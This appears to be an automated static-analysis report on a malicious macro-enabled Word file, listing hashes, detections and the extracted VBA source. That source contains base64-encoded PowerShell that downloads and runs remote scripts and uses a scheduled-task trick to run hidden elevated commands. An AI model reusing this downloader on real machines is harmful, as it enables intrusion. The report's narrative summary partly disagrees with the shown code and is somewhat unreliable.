Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bbe24660f8a51a29…

MALICIOUS

Office (OOXML)

24.9 KB Created: 2021-07-21 19:25:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-25
MD5: b73f886fa87fcc1dc24290c05f33b8ae SHA-1: 18cdf402b9dea9c5f9555f494fbeb047da4e7aa0 SHA-256: bbe24660f8a51a295e3313616e11852841a19a20dd44d2367f4c313d16ddb01c
484 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that leverage WScript.Shell to execute PowerShell commands. The script attempts to download and execute a second-stage payload from 'http://chocoley.org/install.ps1'. It also attempts to establish persistence by creating a Run key entry for 'IAccessible2Proxy'. The presence of AutoOpen and Workbook_Open macros, along with Shell() and CreateObject calls, strongly indicates a downloader or droppper functionality.

Heuristics 11

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5111 bytes
SHA-256: 4205fd5d6cf7030fda34ddc9e4c8095dfbd3d5dd1e78e57665ebc868d97de9bb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub ADMINUPDATE()
'
' ADMINUPDATE Macro
'
'
Dim exec: exec = ""
Dim full: full = ""


exec = exec & "'PAAjACAAQwBoAGUAYwBrACAAZgBvAHIAIABDAGgAbwBjAG8AbABhAHQAZQB5AEkAbgBzAHQAYQBsAGwAIAAjAD4ACgBwAGEAcgBhAG0AKABbAHMAdAByAGkAbgBnAF0AJABjADIAIAA9ACAAJwAzADQALgAyADEANQAuADUANQAuADIAMAA3ACcAKQA7AAoAJAB0AGUAcwB0AGMAaABvAGMAbwAgAD0AIABjAGgAbwBjAG8AIAAtAHYAOwAKADwAIwAgAEMAVABGAHsARAAwAF8AbgAwAHQAXwAzAG4AYQBiAGwAMwBfAG0AQABhAGMAcgAwAHMAfQAjAD4ACgBpAGYAKAAtAG4AbwB0ACAAKAAkAHQAZQBzAHQAYwBoAG8AYwBvACkAKQAKAHsACgAJACQASQBuAHMAdABhAGwAbABEAGkAcgA9ACcAQwA6AFwAdwBpAG4AZABvAHcAcwBcAHQAZQBtAHAAXABjAGgAbwBjAG8AJwA7AAoACQAkAGUAbgB2ADoAQwBoAG8AYwBvAGwAYQB0AGUAeQBJAG4AcwB0AGEAbABsAD0AIgAkAEkAbgBzAHQAYQBsAGwARABpAHIAIgA7AAoACQBtAGsAZABpAHIAIAAkAEkAbgBzAHQAYQBsAGwARABpAHIAOwAKAAkAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAGIAeQBwAGEAcwBzACAALQBTAGMAbwBwAGUAIABQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUAOwAKAAo"
exec = exec & "ACQBpAGUAeAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AYwBoAG8AYwBvAGwAYQB0AGUAeQAuAG8AcgBnAC8AaQBuAHMAdABhAGwAbAAuAHAAcwAxACcAKQApADsACgB9AAoAZQBsAHMAZQAKAHsACgAJADwAIwAgAFUAcABnAHIAYQBkAGUAIABjAGgAbwBjAG8AbABhAHQAZQB5ACAAIwA+AAoACQBjAGgAbwBjAG8AIAB1AHAAZwByAGEAZABlACAAYwBoAG8AYwBvAGwAYQB0AGUAeQAgAC0AeQA7AAoAfQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAdQBkAG8AIAB7AAoACgAJACQAYwBvAG0AbQBhAG4AZAAgAD0AIAAiAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAG4AbwBlAHgAaQB0ACAALQB3AGkAbgBkAG8AdwBzAHQAeQBsAGUAIABoAGkAZABkAGUAbgAgAGAAIgAiACAAKwAgACQAYQByAGcAcwAgACsAIAAiAGAAIgA7ACMAIgA7AAoACQAKACAAIAAgACAAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEMAVQA6AFwARQBuAHYAaQByAG8AbgBtAGUAbgB0ACI"
exec = exec & "AIAAtAE4AYQBtAGUAIAAiAHcAaQBuAGQAaQByACIAIAAtAFYAYQBsAHUAZQAgACQAYwBvAG0AbQBhAG4AZAAgADsACgAgACAAIAAgAHMAYwBoAHQAYQBzAGsAcwAgAC8AcgB1AG4AIAAvAHQAbgAgAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwARABpAHMAawBDAGwAZQBhAG4AdQBwAFwAUwBpAGwAZQBuAHQAQwBsAGUAYQBuAHUAcAAgAC8ASQA7AAoAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsAQwBVADoAXABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIgAgAC0ATgBhAG0AZQAgACIAdwBpAG4AZABpAHIAIgA7AAoAfQAKAAoAcgBlAGYAcgBlAHMAaABlAG4AdgA7AAoAPAAjACAAcgBlAGQAaQByAGUAYwB0ACAAcwB0AGQAZQByAHIAIAB0AG8AIABzAHQAZABvAHUAdAAgACMAPgAKACQAcAAgAD0AIAAmAHsAcAB5AHQAaABvAG4AIAAtAFYAfQAgADIAPgAmADEAOwAKADwAIwAgAGMAaABlAGMAawAgAGkAZgAgAGEAbgAgAEUAcgByAG8AcgBSAGUAYwBvAHIAZAAgAHcAYQBzACAAcgBlAHQAdQByAG4AZQBkACAAIwA+AAoAJAB2AGUAcgBzAGkAbwBuACAAPQAgAGkAZgAoACQ"
exec = exec & "AcAAgAC0AaQBzACAAWwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4ARQByAHIAbwByAFIAZQBjAG8AcgBkAF0AKQAKAHsACgAJAFMAZQB0AC0ATABvAGMAYQB0AGkAbwBuACAALQBQAGEAdABoACAAQwA6AFwAdwBpAG4AZABvAHcAcwBcAHQAZQBtAHAAOwAKAAkAJABQAFMARABlAGYAYQB1AGwAdABQAGEAcgBhAG0AZQB0AGUAcgBWAGEAbAB1AGUAcwBbACcATwB1AHQALQBGAGkAbABlADoARQBuAGMAbwBkAGkAbgBnACcAXQAgAD0AIAAnAHUAdABmADgAJwA7AAoACQBlAGMAaABvACAAIgBpAG0AcABvAHIAdAAgAHUAcgBsAGwAaQBiAC4AcgBlAHEAdQBlAHMAdAA7AGUAeABlAGMAKAB1AHIAbABsAGkAYgAuAHIAZQBxAHUAZQBzAHQALgB1AHIAbABvAHAAZQBuACgAJwBoAHQAdABwADoALwAvACQAYwAyAC8AcwBhAGYAZQAuAHAAeQAnACkALgByAGUAYQBkACgAKQAuAGQAZQBjAG8AZABlACgAJwB1AHQAZgAtADgAJwApACkAOwAiACAAPgAgAHMAYQBmAGUALgBwAHkAOwAKAAkAcwB1AGQAbwAgACIAYwBoAG8AYwBvACAAaQBuAHMAdABhAGwAbAAgAHAAeQB0AGgAbwBuADMAIAAtAHkAOwAgAHIAZQBmAHI"
exec = exec & "AZQBzAGgAZQBuAHYAOwAgAGMAZAAgAC0AUABhAHQAaAAgAC4ALgBcAHQAZQBtAHAAOwAgAHAAeQB0AGgAbwBuACAAcwBhAGYAZQAuAHAAeQAiADsACgB9ACAAZQBsAHMAZQAgAHsACgBwAHkAdABoAG8AbgAgAC0AYwAgACIAaQBtAHAAbwByAHQAIAB1AHIAbABsAGkAYgAuAHIAZQBxAHUAZQBzAHQAOwBlAHgAZQBjACgAdQByAGwAbABpAGIALgByAGUAcQB1AGUAcwB0AC4AdQByAGwAbwBwAGUAbgAoACcAaAB0AHQAcAA6AC8ALwAkAGMAMgAvAHMAYQBmAGUALgBwAHkAJwApAC4AcgBlAGEAZAAoACkALgBkAGUAYwBvAGQAZQ
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 29184 bytes
SHA-256: 1d206b04ad76745bb22a5731a1d9356e1162bad3316b2b880f6a4c082e2c29c1
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).

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